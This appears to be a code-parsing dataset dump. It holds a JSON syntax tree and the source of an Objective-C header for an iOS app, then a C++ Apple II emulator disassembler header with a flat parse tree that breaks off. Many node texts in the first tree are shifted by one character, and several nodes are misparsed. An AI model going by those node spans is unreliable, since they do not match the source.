"text": "void)showAlertWithMessage:", "parent": 103, "children": [132, 134], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 27}}, {"id": 132, "type": "type_descriptor", "text": "oid)", "parent": 131, "children": [133], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 42, "column": 6}}, {"id": 133, "type": "primitive_type", "text": "oid)", "parent": 132, "children": [], "start_point": {"row": 42, "column": 2}, "end_point": {"row": 42, "column": 6}}, {"id": 134, "type": "identifier", "text": "howAlertWithMessage:", "parent": 131, "children": [], "start_point": {"row": 42, "column": 7}, "end_point": {"row": 42, "column": 27}}, {"id": 135, "type": "ERROR", "text": "(NSString ", "parent": 102, "children": [136], "start_point": {"row": 42, "column": 27}, "end_point": {"row": 42, "column": 37}}, {"id": 136, "type": "identifier", "text": "SString ", "parent": 135, "children": [], "start_point": {"row": 42, "column": 29}, "end_point": {"row": 42, "column": 37}}, {"id": 137, "type": "ERROR", "text": "m", "parent": 102, "children": [], "start_point": {"row": 42, "column": 39}, "end_point": {"row": 42, "column": 40}}, {"id": 138, "type": "identifier", "text": "essage;", "parent": 102, "children": [], "start_point": {"row": 42, "column": 40}, "end_point": {"row": 42, "column": 47}}, {"id": 139, "type": "ERROR", "text": "p", "parent": 101, "children": [], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 43, "column": 1}}, {"id": 140, "type": "call_expression", "text": "roperty (nonatomic, strong) ", "parent": null, "children": [141, 142], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 29}}, {"id": 141, "type": "identifier", "text": "roperty ", "parent": 140, "children": [], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 9}}, {"id": 142, "type": "argument_list", "text": "nonatomic, strong) ", "parent": 140, "children": [143, 144], "start_point": {"row": 43, "column": 10}, "end_point": {"row": 43, "column": 29}}, {"id": 143, "type": "identifier", "text": "onatomic,", "parent": 142, "children": [], "start_point": {"row": 43, "column": 11}, "end_point": {"row": 43, "column": 20}}, {"id": 144, "type": "identifier", "text": "trong)", "parent": 142, "children": [], "start_point": {"row": 43, "column": 22}, "end_point": {"row": 43, "column": 28}}, {"id": 145, "type": "declaration", "text": "ITextField *commentTextField;\n", "parent": null, "children": [146, 147], "start_point": {"row": 43, "column": 30}, "end_point": {"row": 43, "column": 60}}, {"id": 146, "type": "type_identifier", "text": "ITextField ", "parent": 145, "children": [], "start_point": {"row": 43, "column": 30}, "end_point": {"row": 43, "column": 41}}, {"id": 147, "type": "pointer_declarator", "text": "commentTextField;", "parent": 145, "children": [148, 149], "start_point": {"row": 43, "column": 42}, "end_point": {"row": 43, "column": 59}}, {"id": 148, "type": "*", "text": "c", "parent": 147, "children": [], "start_point": {"row": 43, "column": 42}, "end_point": {"row": 43, "column": 43}}, {"id": 149, "type": "identifier", "text": "ommentTextField;", "parent": 147, "children": [], "start_point": {"row": 43, "column": 43}, "end_point": {"row": 43, "column": 59}}, {"id": 150, "type": "ERROR", "text": "property (nonatomic, strong) IBOutlet ", "parent": null, "children": [151, 152, 157], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 38}}, {"id": 151, "type": "ERROR", "text": "p", "parent": 150, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 1}}, {"id": 152, "type": "call_expression", "text": "roperty (nonatomic, strong) ", "parent": 150, "children": [153, 154], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 29}}, {"id": 153, "type": "identifier", "text": "roperty ", "parent": 152, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 9}}, {"id": 154, "type": "argument_list", "text": "nonatomic, strong) ", "parent": 152, "children": [155, 156], "start_point": {"row": 44, "column": 10}, "end_point": {"row": 44, "column": 29}}, {"id": 155, "type": "identifier", "text": "onatomic,", "parent": 154, "children": [], "start_point": {"row": 44, "column": 11}, "end_point": {"row": 44, "column": 20}}, {"id": 156, "type": "identifier", "text": "trong)", "parent": 154, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 28}}, {"id": 157, "type": "identifier", "text": "BOutlet ", "parent": 150, "children": [], "start_point": {"row": 44, "column": 30}, "end_point": {"row": 44, "column": 38}}, {"id": 158, "type": "declaration", "text": "ITableView *friendsTable;\n", "parent": null, "children": [159, 160], "start_point": {"row": 44, "column": 39}, "end_point": {"row": 44, "column": 65}}, {"id": 159, "type": "type_identifier", "text": "ITableView ", "parent": 158, "children": [], "start_point": {"row": 44, "column": 39}, "end_point": {"row": 44, "column": 50}}, {"id": 160, "type": "pointer_declarator", "text": "friendsTable;", "parent": 158, "children": [161, 162], "start_point": {"row": 44, "column": 51}, "end_point": {"row": 44, "column": 64}}, {"id": 161, "type": "*", "text": "f", "parent": 160, "children": [], "start_point": {"row": 44, "column": 51}, "end_point": {"row": 44, "column": 52}}, {"id": 162, "type": "identifier", "text": "riendsTable;", "parent": 160, "children": [], "start_point": {"row": 44, "column": 52}, "end_point": {"row": 44, "column": 64}}, {"id": 163, "type": "ERROR", "text": "p", "parent": null, "children": [164], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 1}}, {"id": 164, "type": "ERROR", "text": "p", "parent": 163, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 1}}, {"id": 165, "type": "call_expression", "text": "roperty(nonatomic, strong) ", "parent": null, "children": [166, 167], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 28}}, {"id": 166, "type": "identifier", "text": "roperty(", "parent": 165, "children": [], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 9}}, {"id": 167, "type": "argument_list", "text": "nonatomic, strong) ", "parent": 165, "children": [168, 169], "start_point": {"row": 45, "column": 9}, "end_point": {"row": 45, "column": 28}}, {"id": 168, "type": "identifier", "text": "onatomic,", "parent": 167, "children": [], "start_point": {"row": 45, "column": 10}, "end_point": {"row": 45, "column": 19}}, {"id": 169, "type": "identifier", "text": "trong)", "parent": 167, "children": [], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 27}}, {"id": 170, "type": "declaration", "text": "LLocation *myLocation;\n", "parent": null, "children": [171, 172], "start_point": {"row": 45, "column": 29}, "end_point": {"row": 45, "column": 52}}, {"id": 171, "type": "type_identifier", "text": "LLocation ", "parent": 170, "children": [], "start_point": {"row": 45, "column": 29}, "end_point": {"row": 45, "column": 39}}, {"id": 172, "type": "pointer_declarator", "text": "myLocation;", "parent": 170, "children": [173, 174], "start_point": {"row": 45, "column": 40}, "end_point": {"row": 45, "column": 51}}, {"id": 173, "type": "*", "text": "m", "parent": 172, "children": [], "start_point": {"row": 45, "column": 40}, "end_point": {"row": 45, "column": 41}}, {"id": 174, "type": "identifier", "text": "yLocation;", "parent": 172, "children": [], "start_point": {"row": 45, "column": 41}, "end_point": {"row": 45, "column": 51}}, {"id": 175, "type": "ERROR", "text": "property (nonatomic, weak) id<PAWPostFullPageDelegate> delegate;\n@p", "parent": null, "children": [176, 177, 190], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 47, "column": 1}}, {"id": 176, "type": "ERROR", "text": "p", "parent": 175, "children": [], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 46, "column": 1}}, {"id": 177, "type": "binary_expression", "text": "roperty (nonatomic, weak) id<PAWPostFullPageDelegate> delegate;", "parent": 175, "children": [178, 188, 189], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 64}}, {"id": 178, "type": "binary_expression", "text": "roperty (nonatomic, weak) id<PAWPostFullPageDelegate>", "parent": 177, "children": [179, 184, 186, 187], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 54}}, {"id": 179, "type": "call_expression", "text": "roperty (nonatomic, weak) ", "parent": 178, "children": [180, 181], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 27}}, {"id": 180, "type": "identifier", "text": "roperty ", "parent": 179, "children": [], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 9}}, {"id": 181, "type": "argument_list", "text": "nonatomic, weak) ", "parent": 179, "children": [182, 183], "start_point": {"row": 46, "column": 10}, "end_point": {"row": 46, "column": 27}}, {"id": 182, "type": "identifier", "text": "onatomic,", "parent": 181, "children": [], "start_point": {"row": 46, "column": 11}, "end_point": {"row": 46, "column": 20}}, {"id": 183, "type": "identifier", "text": "eak)", "parent": 181, "children": [], "start_point": {"row": 46, "column": 22}, "end_point": {"row": 46, "column": 26}}, {"id": 184, "type": "ERROR", "text": "d<", "parent": 178, "children": [185], "start_point": {"row": 46, "column": 28}, "end_point": {"row": 46, "column": 30}}, {"id": 185, "type": "identifier", "text": "d<", "parent": 184, "children": [], "start_point": {"row": 46, "column": 28}, "end_point": {"row": 46, "column": 30}}, {"id": 186, "type": "<", "text": "P", "parent": 178, "children": [], "start_point": {"row": 46, "column": 30}, "end_point": {"row": 46, "column": 31}}, {"id": 187, "type": "identifier", "text": "AWPostFullPageDelegate>", "parent": 178, "children": [], "start_point": {"row": 46, "column": 31}, "end_point": {"row": 46, "column": 54}}, {"id": 188, "type": ">", "text": " ", "parent": 177, "children": [], "start_point": {"row": 46, "column": 54}, "end_point": {"row": 46, "column": 55}}, {"id": 189, "type": "identifier", "text": "elegate;", "parent": 177, "children": [], "start_point": {"row": 46, "column": 56}, "end_point": {"row": 46, "column": 64}}, {"id": 190, "type": "ERROR", "text": "p", "parent": 175, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 1}}, {"id": 191, "type": "call_expression", "text": "roperty (strong, nonatomic) ", "parent": null, "children": [192, 193], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 29}}, {"id": 192, "type": "identifier", "text": "roperty ", "parent": 191, "children": [], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 9}}, {"id": 193, "type": "argument_list", "text": "strong, nonatomic) ", "parent": 191, "children": [194, 195], "start_point": {"row": 47, "column": 10}, "end_point": {"row": 47, "column": 29}}, {"id": 194, "type": "identifier", "text": "trong,", "parent": 193, "children": [], "start_point": {"row": 47, "column": 11}, "end_point": {"row": 47, "column": 17}}, {"id": 195, "type": "identifier", "text": "onatomic)", "parent": 193, "children": [], "start_point": {"row": 47, "column": 19}, "end_point": {"row": 47, "column": 28}}, {"id": 196, "type": "declaration", "text": "INavigationController *navController;\n", "parent": null, "children": [197, 198], "start_point": {"row": 47, "column": 30}, "end_point": {"row": 47, "column": 68}}, {"id": 197, "type": "type_identifier", "text": "INavigationController ", "parent": 196, "children": [], "start_point": {"row": 47, "column": 30}, "end_point": {"row": 47, "column": 52}}, {"id": 198, "type": "pointer_declarator", "text": "navController;", "parent": 196, "children": [199, 200], "start_point": {"row": 47, "column": 53}, "end_point": {"row": 47, "column": 67}}, {"id": 199, "type": "*", "text": "n", "parent": 198, "children": [], "start_point": {"row": 47, "column": 53}, "end_point": {"row": 47, "column": 54}}, {"id": 200, "type": "identifier", "text": "avController;", "parent": 198, "children": [], "start_point": {"row": 47, "column": 54}, "end_point": {"row": 47, "column": 67}}, {"id": 201, "type": "ERROR", "text": "property (nonatomic, strong)IBOutlet ", "parent": null, "children": [202, 203, 208], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 37}}, {"id": 202, "type": "ERROR", "text": "p", "parent": 201, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 1}}, {"id": 203, "type": "call_expression", "text": "roperty (nonatomic, strong)I", "parent": 201, "children": [204, 205], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 29}}, {"id": 204, "type": "identifier", "text": "roperty ", "parent": 203, "children": [], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 9}}, {"id": 205, "type": "argument_list", "text": "nonatomic, strong)I", "parent": 203, "children": [206, 207], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 29}}, {"id": 206, "type": "identifier", "text": "onatomic,", "parent": 205, "children": [], "start_point": {"row": 48, "column": 11}, "end_point": {"row": 48, "column": 20}}, {"id": 207, "type": "identifier", "text": "trong)", "parent": 205, "children": [], "start_point": {"row": 48, "column": 22}, "end_point": {"row": 48, "column": 28}}, {"id": 208, "type": "identifier", "text": "BOutlet ", "parent": 201, "children": [], "start_point": {"row": 48, "column": 29}, "end_point": {"row": 48, "column": 37}}, {"id": 209, "type": "declaration", "text": "IView *scrollView;\n", "parent": null, "children": [210, 211], "start_point": {"row": 48, "column": 38}, "end_point": {"row": 48, "column": 57}}, {"id": 210, "type": "type_identifier", "text": "IView ", "parent": 209, "children": [], "start_point": {"row": 48, "column": 38}, "end_point": {"row": 48, "column": 44}}, {"id": 211, "type": "pointer_declarator", "text": "scrollView;", "parent": 209, "children": [212, 213], "start_point": {"row": 48, "column": 45}, "end_point": {"row": 48, "column": 56}}, {"id": 212, "type": "*", "text": "s", "parent": 211, "children": [], "start_point": {"row": 48, "column": 45}, "end_point": {"row": 48, "column": 46}}, {"id": 213, "type": "identifier", "text": "crollView;", "parent": 211, "children": [], "start_point": {"row": 48, "column": 46}, "end_point": {"row": 48, "column": 56}}, {"id": 214, "type": "ERROR", "text": "e", "parent": null, "children": [215], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 1}}, {"id": 215, "type": "ERROR", "text": "e", "parent": 214, "children": [], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 1}}, {"id": 216, "type": "identifier", "text": "nd\n", "parent": null, "children": [], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 4}}]}, "node_categories": {"declarations": {"functions": [], "variables": [17, 43, 65, 68, 71, 76, 81, 145, 158, 170, 196, 209], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [27, 28, 32, 37, 50, 51, 55, 57, 61, 87, 88, 92, 96, 97, 102, 103, 104, 105, 106, 107, 109, 119, 131, 140, 152, 165, 177, 178, 179, 191, 203], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 10, 18, 19, 22, 23, 25, 31, 33, 35, 36, 38, 40, 44, 47, 49, 52, 54, 56, 58, 62, 64, 66, 67, 69, 70, 72, 75, 77, 80, 82, 85, 91, 93, 95, 100, 111, 112, 114, 116, 121, 122, 124, 126, 127, 129, 130, 134, 136, 138, 141, 143, 144, 146, 149, 153, 155, 156, 157, 159, 162, 166, 168, 169, 171, 174, 180, 182, 183, 185, 187, 189, 192, 194, 195, 197, 200, 204, 206, 207, 208, 210, 213, 216], "returns": [], "exceptions": []}, "expressions": {"calls": [6, 8, 11, 13], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// PAWProfileViewController.h\n// Poppin\n//\n// Created by <NAME> on 5/10/16.\n// Copyright \u00a9 2016 <NAME>. All rights reserved.\n//\n\n#ifndef PAWProfileViewController_h\n#define PAWProfileViewController_h\n\n#import \"PAWPost.h\"\n#import \"NavController.h\"\n\n#endif /* PAWProfileViewController_h */\n#import <Parse/Parse.h>\n#import <ParseUI/ParseUI.h>\n@class PAWPostFullPage;\n\n\n@protocol PAWPostFullPageDelegate <NSObject>\n-(void)addItemViewController:(PAWPostFullPage *)controller sendDataToA:(MKDirections *)directions; //I am thinking my data is NSArray, you can use another object for store your information.\n\n\n@end\n@interface PAWPostFullPage : PFQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;\n BOOL requestInProgress;\n BOOL forceRefresh;\n\n PFUser *friend;\n MKDirectionsRequest *request;\n MKDirections *directions;\n}\n\n\n-(void)showModalViewController:(UIViewController *)modalViewController;\n-(void)closeModalViewController;\n- (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:(NSString *)message;\n@property (nonatomic, strong) UITextField *commentTextField;\n@property (nonatomic, strong) IBOutlet UITableView *friendsTable;\n@property(nonatomic, strong) CLLocation *myLocation;\n@property (nonatomic, weak) id<PAWPostFullPageDelegate> delegate;\n@property (strong, nonatomic) UINavigationController *navController;\n@property (nonatomic, strong)IBOutlet UIView *scrollView;\n\n\n@end\n\n"}
81,194
c
/* MIT License Copyright (c) 2016-2017 <NAME> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <array> #include <cstring> #include <string> #include <vector> #include <map> #include "apple2emu.h" #include "apple2emu_defs.h" #include "debugger_console.h" #include "imgui.h" class debugger_disasm { static const uint32_t m_disassembly_line_length = 256; private: // definitions for symbol tables typedef std::map<uint16_t, std::string> symtable_map; symtable_map m_symtable; uint16_t m_break_addr; uint16_t m_current_addr; debugger_console *m_console; bool m_reset_window; static const char *m_addressing_format_string[]; static const char *m_addressing_format_string_with_symbol[]; char m_disassembly_line[m_disassembly_line_length]; public: debugger_disasm(); ~debugger_disasm(); void add_symtable(const std::string &filename); void remove_symtable(const std::string &filename); const char *find_symbol(uint16_t addr); uint8_t get_disassembly(uint16_t addr); void draw(const char* title, uint16_t addr); void set_break_addr(uint16_t addr); char *get_disassembly_line() { return m_disassembly_line; } void attach_console(debugger_console *console); void reset() { m_reset_window = true; } };
38.55
58
(translation_unit) "/*\n\n MIT License\n\n Copyright (c) 2016-2017 <NAME>\n\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the "Software"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n*/\n\n#pragma once\n\n#include <array>\n#include <cstring>\n#include <string>\n#include <vector>\n#include <map>\n\n#include "apple2emu.h"\n#include "apple2emu_defs.h"\n#include "debugger_console.h"\n#include "imgui.h"\n\nclass debugger_disasm\n{\n static const uint32_t m_disassembly_line_length = 256;\n\nprivate:\n\n // definitions for symbol tables\n typedef std::map<uint16_t, std::string> symtable_map;\n symtable_map m_symtable;\n\n uint16_t m_break_addr;\n uint16_t m_current_addr;\n debugger_console *m_console;\n bool m_reset_window;\n\n\n static const char *m_addressing_format_string[];\n static const char *m_addressing_format_string_with_symbol[];\n char m_disassembly_line[m_disassembly_line_length];\n\npublic:\n debugger_disasm();\n ~debugger_disasm();\n void add_symtable(const std::string &filename);\n void remove_symtable(const std::string &filename);\n const char *find_symbol(uint16_t addr);\n uint8_t get_disassembly(uint16_t addr);\n void draw(const char* title, uint16_t addr);\n void set_break_addr(uint16_t addr);\n char *get_disassembly_line() { return m_disassembly_line; }\n void attach_console(debugger_console *console);\n void reset() { m_reset_window = true; }\n};\n\n" (comment) "/*\n\n MIT License\n\n Copyright (c) 2016-2017 <NAME>\n\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the "Software"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n*/" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include <array>\n" (#include) "#include" (system_lib_string) "<array>" (preproc_include) "#include <cstring>\n" (#include) "#include" (system_lib_string) "<cstring>" (preproc_include) "#include <string>\n" (#include) "#include" (system_lib_string) "<string>" (preproc_include) "#include <vector>\n" (#include) "#include" (system_lib_string) "<vector>" (preproc_include) "#include <map>\n" (#include) "#include" (system_lib_string) "<map>" (preproc_include) "#include "apple2emu.h"\n" (#include) "#include" (string_literal) ""apple2emu.h"" (") """ (string_content) "apple2emu.h" (") """ (preproc_include) "#include "apple2emu_defs.h"\n" (#include) "#include" (string_literal) ""apple2emu_defs.h"" (") """ (string_content) "apple2emu_defs.h" (") """ (preproc_include) "#include "debugger_console.h"\n" (#include) "#include" (string_literal) ""debugger_console.h"" (") """ (string_content) "debugger_console.h" (") """ (preproc_include) "#include "imgui.h"\n" (#include) "#include" (string_literal) ""imgui.h"" (") """ (string_content) "imgui.h" (") """ (function_definition) "class debugger_disasm\n{\n static const uint32_t m_disassembly_line_length = 256;\n\nprivate:\n\n // definitions for symbol tables\n typedef std::map<uint16_t, std::string> symtable_map;\n symtable_map m_symtable;\n\n uint16_t m_break_addr;\n uint16_t m_current_addr;\n debugger_console *m_console;\n bool m_reset_window;\n\n\n static const char *m_addressing_format_string[];\n static const char *m_addressing_format_string_with_symbol[];\n char m_disassembly_line[m_disassembly_line_length];\n\npublic:\n debugger_disasm();\n ~debugger_disasm();\n void add_symtable(const std::string &filename);\n void remove_symtable(const std::string &filename);\n const char *find_symbol(uint16_t addr);\n uint8_t get_disassembly(uint16_t addr);\n void draw(const char* title, uint16_t addr);\n void set_break_addr(uint16_t addr);\n char *get_disassembly_line() { return m_disassembly_line; }\n void attach_console(debugger_console *console);\n void reset() { m_reset_window = true; }\n}" (type_identifier) "class" (identifier) "debugger_disasm" (compound_statement) "{\n static const uint32_t m_disassembly_line_length = 256;\n\nprivate:\n\n // definitions for symbol tables\n typedef std::map<uint16_t, std::string> symtable_map;\n symtable_map m_symtable;\n\n uint16_t m_break_addr;\n uint16_t m_current_addr;\n debugger_console *m_console;\n bool m_reset_window;\n\n\n static const char *m_addressing_format_string[];\n static const char *m_addressing_format_string_with_symbol[];\n char m_disassembly_line[m_disassembly_line_length];\n\npublic:\n debugger_disasm();\n ~debugger_disasm();\n void add_symtable(const std::string &filename);\n void remove_symtable(const std::string &filename);\n const char *find_symbol(uint16_t addr);\n uint8_t get_disassembly(uint16_t addr);\n void draw(const char* title, uint16_t addr);\n void set_break_addr(uint16_t addr);\n char *get_disassembly_line() { return m_disassembly_line; }\n void attach_console(debugger_console *console);\n void reset() { m_reset_window = true; }\n}" ({) "{" (declaration) "static const uint32_t m_disassembly_line_length = 256;" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "uint32_t" (init_declarator) "m_disassembly_line_length = 256" (identifier) "m_disassembly_line_length" (=) "=" (number_literal) "256" (;) ";" (labeled_statement) "private:\n\n // definitions for symbol tables\n typedef std::map<uint16_t, std::string> symtable_map;" (statement_identifier) "private" (:) ":" (comment) "// definitions for symbol tables" (declaration) "typedef std::map<uint16_t, std::string> symtable_map;" (type_identifier) "typedef" (identifier) "std" (ERROR) "::map<uint16_t" (:) ":" (:) ":" (identifier) "map" (<) "<" (primitive_type) "uint16_t" (,) "," (ERROR) "std::string>" (identifier) "std" (:) ":" (:) ":" (identifier) "string" (>) ">" (identifier) "symtable_map" (;) ";" (declaration) "symtable_map m_symtable;" (type_identifier) "symtable_map" (identifier) "m_symtable" (;) ";" (declaration) "uint16_t m_break_addr;" (primitive_type) "uint16_t" (identifier) "m_break_addr" (;) ";" (declaration) "uint16_t m_current_addr;" (primitive_type) "uint16_t" (identifier) "m_current_addr" (;) ";" (declaration) "debugger_console *m_console;" (type_identifier) "debugger_console" (pointer_declarator) "*m_console" (*) "*" (identifier) "m_console" (;) ";" (declaration) "bool m_reset_window;" (primitive_type) "bool" (identifier) "m_reset_window" (;) ";" (declaration) "static const char *m_addressing_format_string[];" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*m_addressing_format_string[]" (*) "*" (array_declarator) "m_addressing_format_string[]" (identifier) "m_addressing_format_string" ([) "[" (]) "]" (;) ";" (declaration) "static const char *m_addressing_format_string_with_symbol[];" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*m_addressing_format_string_with_symbol[]" (*) "*" (array_declarator) "m_addressing_format_string_with_symbol[]" (identifier) "m_addressing_format_string_with_symbol" ([) "[" (]) "]" (;) ";" (declaration) "char m_disassembly_line[m_disassembly_line_length];" (primitive_type) "char" (array_declarator) "m_disassembly_line[m_disassembly_line_length]" (identifier) "m_disassembly_line" ([) "[" (identifier) "m_disassembly_line_length" (]) "]" (;) ";" (labeled_statement) "public:\n debugger_disasm();" (statement_identifier) "public" (:) ":" (expression_statement) "debugger_disasm();" (call_expression) "debugger_disasm()" (identifier) "debugger_disasm" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "~debugger_disasm();" (unary_expression) "~debugger_disasm()" (~) "~" (call_expression) "debugger_disasm()" (identifier) "debugger_disasm" (argument_list) "()" (() "(" ()) ")" (;) ";" (declaration) "void add_symtable(const std::string &filename);" (primitive_type) "void" (function_declarator) "add_symtable(const std::string &filename)" (identifier) "add_symtable" (parameter_list) "(const std::string &filename)" (() "(" (parameter_declaration) "const std::string &filename" (type_qualifier) "const" (const) "const" (type_identifier) "std" (ERROR) "::string &" (:) ":" (:) ":" (identifier) "string" (&) "&" (identifier) "filename" ()) ")" (;) ";" (declaration) "void remove_symtable(const std::string &filename);" (primitive_type) "void" (function_declarator) "remove_symtable(const std::string &filename)" (identifier) "remove_symtable" (parameter_list) "(const std::string &filename)" (() "(" (parameter_declaration) "const std::string &filename" (type_qualifier) "const" (const) "const" (type_identifier) "std" (ERROR) "::string &" (:) ":" (:) ":" (identifier) "string" (&) "&" (identifier) "filename" ()) ")" (;) ";" (declaration) "const char *find_symbol(uint16_t addr);" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*find_symbol(uint16_t addr)" (*) "*" (function_declarator) "find_symbol(uint16_t addr)" (identifier) "find_symbol" (parameter_list) "(uint16_t addr)" (() "(" (parameter_declaration) "uint16_t addr" (primitive_type) "uint16_t" (identifier) "addr" ()) ")" (;) ";" (declaration) "uint8_t get_disassembly(uint16_t addr);" (primitive_type) "uint8_t" (function_declarator) "get_disassembly(uint16_t addr)" (identifier) "get_disassembly" (parameter_list) "(uint16_t addr)" (() "(" (parameter_declaration) "uint16_t addr" (primitive_type) "uint16_t" (identifier) "addr" ()) ")" (;) ";" (declaration) "void draw(const char* title, uint16_t addr);" (primitive_type) "void" (function_declarator) "draw(const char* title, uint16_t addr)" (identifier) "draw" (parameter_list) "(const char* title, uint16_t addr)" (() "(" (parameter_declaration) "const char* title" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* title" (*) "*" (identifier) "title" (,) "," (parameter_declaration) "uint16_t addr" (primitive_type) "uint16_t" (identifier) "addr" ()) ")" (;) ";" (declaration) "void set_break_addr(uint16_t addr);" (primitive_type) "void" (function_declarator) "set_break_addr(uint16_t addr)" (identifier) "set_break_addr" (parameter_list) "(uint16_t addr)" (() "(" (parameter_declaration) "uint16_t addr" (primitive_type) "uint16_t" (identifier) "addr" ()) ")" (;) ";" (function_definition) "char *get_disassembly_line() { return m_disassembly_line; }" (primitive_type) "char" (pointer_declarator) "*get_disassembly_line()" (*) "*" (function_declarator) "get_disassembly_line()" (identifier) "get_disassembly_line" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return m_disassembly_line; }" ({) "{" (return_statement) "return m_disassembly_line;" (return) "return" (identifier) "m_disassembly_line" (;) ";" (}) "}" (declaration) "void attach_console(debugger_console *console);" (primitive_type) "void" (function_declarator) "attach_console(debugger_console *console)" (identifier) "attach_console" (parameter_list) "(debugger_console *console)" (() "(" (parameter_declaration) "debugger_console *console" (type_identifier) "debugger_console" (pointer_declarator) "*console" (*) "*" (identifier) "console" ()) ")" (;) ";" (function_definition) "void reset() { m_reset_window = true; }" (primitive_type) "void" (function_declarator) "reset()" 